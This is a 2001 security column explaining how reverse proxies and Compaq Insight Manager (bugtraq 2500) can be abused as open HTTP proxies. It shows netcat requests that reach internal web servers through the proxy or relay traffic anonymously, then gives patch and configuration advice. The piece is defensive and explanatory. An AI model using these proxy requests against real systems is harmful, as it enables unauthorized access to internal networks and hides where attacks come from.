Servers

Double-crossed by proxy

See if you are putting your site infrastructure at risk by using a reverse proxy.

By Chris Prosise and Saumil Udayan Shah

We ended our last column by telling you we'd next cover operating system controls for restricting access to servers. However, since then, we've come across an unusual vulnerability that has serious side effects. So we're going to do what every IT professional has to do: stay nimble and reprioritize to deal with new problems! For this column we'll shift gears, or servers, to address reverse proxies.

Web-based management interfaces are extremely popular. Many applications include a Web-based interface for remote configuration. Unfortunately, these Web interfaces often have vulnerabilities similar to standard Web servers. The new vulnerability stems from using a Web-based management utility as a reverse proxy. Before we dive into the discussion of how this particular vulnerability is exploited, let's take a look at reverse proxies and their role in the Web environment.

What is a reverse proxy?
Reverse proxy servers can be thought of as intermediary Web servers that accept HTTP requests for a particular server that may not be directly accessible from the outside network. A reverse proxy may have various uses, the common ones being as a load balancer, a URL redirector, or a front-end cache server.

Reverse proxies are often a good security measure, as they help minimize network exposure. Instead of placing the Web servers on direct, routable IP addresses, the actual Web servers may be tucked away on an internal, nonroutable IP network or a private IP address network, and the only path to these servers would be through a reverse proxy server. As the reverse proxy server contains no sensitive information, it has less exposure risk than the actual Web server.

Many Web architects use a common design that places the reverse proxy server in the demilitarized zone (DMZ) of a typical network. These builders have a segregated network hosting the main Web and application servers, which are accessible only through the reverse proxy server. By itself, the design seems to be foolproof. If the internal network that hosts the Web and application servers is well segregated by a firewall, nonroutable private IP addresses, or a combination of both, there seems to be little chance that the Web servers can come under direct attack.

Proxies show the way in
An unusual but effective technique for attacking Web servers behind a reverse proxy is to target individual, internal Web servers through the proxy itself. By sending HTTP proxy requests to the reverse proxy server, a hacker can pass on the request via the reverse proxy to the internal Web server. The following example shows an internal server response to an HTTP proxy request:
C:\>nc 10.1.1.109 80
GET http://192.168.1.238/ HTTP/1.0


Note that we're using Netcat to make the request.
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 27 Mar 2001 11:22:59 GMT
Connection: Keep-Alive
Content-Length: 1270
Content-Type: text/html
Set-Cookie: ASPSESSIONIDQQGGGLEO=CHHDPLDAHPFLLCFLEMLGNOIC; path=/
Cache-control: private


In this example, server 10.1.1.109 is a reverse proxy. Server 192.168.1.238 is the internal Web server that is not directly accessible from the outside world. The only way to get to 192.168.1.238 is via the reverse proxy. Thus, instead of connecting directly to 192.168.1.238 on port 80, the trick is now to connect to 10.1.1.109 on port 80 and specify the full URL in the GET request.

The request:
C:\>nc 192.168.1.238 80
GET / HTTP/1.0


now has to be sent as:
C:\>nc 10.1.1.109 80
GET http://192.168.1.238/ HTTP/1.0


The latter form of an HTTP request is also known as an HTTP proxy request. For further details of how HTTP and HTTP proxy works, check out this HTTP 1.1 request for comments.

In this scenario, the attacker need discover only the internal Web servers' IP addresses to target them. If an attacker gets the IP addresses of the internal network hosting the Web and application servers, she or he can send HTTP requests directly to the internal Web server via the reverse proxy. It is easy to see how an attacker can now adapt a vulnerability checking tool such as Whisker and use it to scan internal Web servers via reverse proxies.

Misconfigured reverse proxies
Remember that reverse proxies must be very carefully configured to allow HTTP requests to go only to the internal network, not back to the outside world. This is done by checking the IP address of the URL in the HTTP proxy GET (or POST) request and determining whether that IP address is part of the internal network. If not carefully configured, attackers might use the reverse proxy server to launch attacks on other Web servers via HTTP proxy requests, in an attempt to cover their tracks.

A Compaq case in point
The new vulnerability we mentioned earlier was recently discovered in the Compaq Insight Manager, the Web-based administration tool that comes bundled with Compaq servers. Almost all versions of Compaq Insight Manager, including the latest XE version, can be used as generic HTTP proxy servers. This vulnerability was published on March 22, 2001, and is listed on SecurityFocus as bugtraq id 2500. This inadvertent reverse proxy has a couple of serious security implications.

An earlier release of Compaq Insight Manager was the victim of a file-traversal vulnerability, where attackers could send malformed URLs to the Compaq Insight Manager Web server running on TCP port 2301 and retrieve arbitrary files from the server if the filenames and paths were known.

Here is an example of Compaq Insight Manager being used as a proxy server to retrieve information from a Web server not directly accessible to the outside world:
C:\>nc 10.1.1.109 2301
GET http://192.168.1.238/ HTTP/1.0

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 27 Mar 2001 12:13:56 GMT
Connection: Keep-Alive
Content-Length: 1270
Content-Type: text/html
Set-Cookie: ASPSESSIONIDQQGGGLEO=EHHDPLDANPDEPOIFPLLILKEI; path=/
Cache-control: private

<HTML><HEAD>
<META HTTP-EQUIV="Content-Type" Content="text-html; charset=Windows-1252">

<title id=titletext>Under Construction</title>
</HEAD>
...


Let's look at this from the perspective of the internal server. If 192.168.1.238 received a request directly from a Web browser, it would appear as follows:
C:\WINNT>nc -nvv -l -p 80
listening on [any] 80 ...
connect to [192.168.1.238] from (UNKNOWN)
[192.168.1.11] 52499
GET / HTTP/1.0
Connection: Keep-Alive
User-Agent: Mozilla/4.75 [en] (Windows NT 5.0; U)
Host: 192.168.1.238
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
image/png, */*
Accept-Encoding: gzip
Accept-Language: en
Accept-Charset: iso-8859-1,*,utf-8


We use our favorite tool, Netcat, to act as a TCP listener on port 80 on 192.168.1.238 and to capture the incoming request from the browser for inspection. In the example above, we are accessing 192.168.1.238 from a host on the same network, for example, 192.168.1.11. Notice how Netcat reports the connection source and destination IP addresses.

Now if we performed the same request but passed it through Compaq Insight Manager running on TCP port 2301 on 10.1.1.109 as an HTTP proxy request, the server would see the following requests.

This is the request we send to the proxy server:
C:\> nc 10.1.1.109 2301
GET http://192.168.1.238/ HTTP/1.0


And this is the request the proxy server sends to the Web server:
C:\WINNT>nc -nvv -l -p 80
listening on [any] 80 ...
connect to [192.168.1.238] from (UNKNOWN) [10.1.1.109] 2394
GET / HTTP/1.0
Compaq-WBEM-UserName: anonymous
File-Redirect: Allowed
Compaq-HTTPServerVersion: 0020010021


Notice how Compaq Insight Manager, which is unknowingly acting as a proxy server, has transformed the HTTP request. Netcat reports the connection as originating from 10.1.1.109, which is the IP address of the Compaq Insight Manager. The true originating IP address of this request cannot be determined because the server sees the request as coming only from the Compaq Insight Manager IP address. What are the implications of this property?

Implications
First, many internal networks are configured to disallow connections from the outside world, but the DMZ is not. If the Compaq Insight Manager IP address is in the DMZ, an attacker may have access to Web servers within the internal network by proxying through the Compaq Insight Manager.

And the problem doesn't stop there. Not only can Compaq Insight Manager be used as a reverse proxy and allow attackers to target internal networks, it can also be used as a generic HTTP proxy. Attackers can use Compaq Insight Manager to mask the true source of Web attacks on the Internet. Here is an example of how the Compaq Insight Manager running on 10.1.1.109 can be used to access Web sites such as www.builder.com:
C:\>nc 10.1.1.109 2301
GET http://www.builder.com/ HTTP/1.0

HTTP/1.0 302 FoundServer: Netscape-Communications/1.12
Date: Tuesday, 27-Mar-01 12:38:39 GMT
Location: http://home.cnet.com/webbuilding/0-3880.html
Content-type: text/html
Content-length: 230

<HTML><HEAD><TITLE>Found</TITLE></HEAD><BODY><H1>Found</H1>
This document has moved to a new <a
href="http://home.cnet.com/webbuilding/0-3880.html">location</a>. Please update your documents and hot lists accordingly.</BODY></HTML>


The above request is directed toward 10.1.1.109, and the Compaq Insight Manager running on it is effectively being used as an anonymous proxy server.

Patching Compaq Insight Manager
Compaq has released two patches on its FTP site. If you are running Compaq Insight Manager, we strongly recommend that you procure these patches immediately. You can follow the instructions from Compaq's advisory in order to implement them.

What you should take away from this
So how do we prevent misconfigured proxy servers and keep innocent machines from being used as proxy servers because they are configured to obey the generic HTTP protocol? First, make sure that your Web devices are properly configured as reverse proxies, load balancers, front-end caches, and so on. Second, make sure that you are not running Web-based management interfaces such as Compaq Insight Manager unless absolutely necessary, and if you are, ensure that they are accessible only to the internal network, not to the wild, outside world. It is easy to overlook such Web-based management interfaces because they sometimes come enabled with the server containing a preinstalled operating system.

 
0 comments